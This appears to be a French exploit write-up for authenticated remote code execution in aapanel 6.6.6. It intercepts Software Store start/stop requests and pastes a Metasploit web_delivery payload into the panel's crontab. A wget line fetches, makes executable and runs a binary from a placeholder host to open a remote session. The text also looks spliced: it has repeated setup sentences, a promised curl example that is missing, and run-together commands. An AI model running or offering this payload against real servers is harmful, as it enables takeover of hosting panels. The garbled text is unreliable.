
aapanel 6.6.6 - Exécution de code à distance (authentifiée)
Pour réaliser cette preuve de concept, j'ai simplement installé le logiciel à l'aide de docker-compose.
Allez dans Software Store, cliquez sur n'importe quelle ligne du champ des paramètres, interceptez la requête lorsque vous cliquez sur "start/stop/restart" et modifiez/éditez la requête afin d'exécuter ce que vous voulez. Voici un exemple avec curl :
Pour réaliser cette preuve de concept, j'ai installé une Ubuntu 20.04 fraîche, puis j'ai installé + et exécuté ce script
wgetsudowget -O install.sh http://www.aapanel.com/script/install-ubuntu_6.0_en.sh && sudo bash install.shTout d'abord, configurez les options de web_delivery ; cela créera un payload et un listener.

Maintenant, lancez-le.

cela générera le payload suivant :
wget -qO wt8v00sC --no-check-certificate http://xxxx:8088/gUVn1orp; chmod +x wt8v00sC; ./wt8v00sC& disown
Ensuite, copiez/collez-le comme ceci dans le script content du menu crontab d'aapanel.

Maintenant, exécutez simplement votre crontab et attendez votre session.

Exécutez simplement msfconsole -r aapanel.rc, copiez/collez le payload dans la section script content, et profitez de votre session.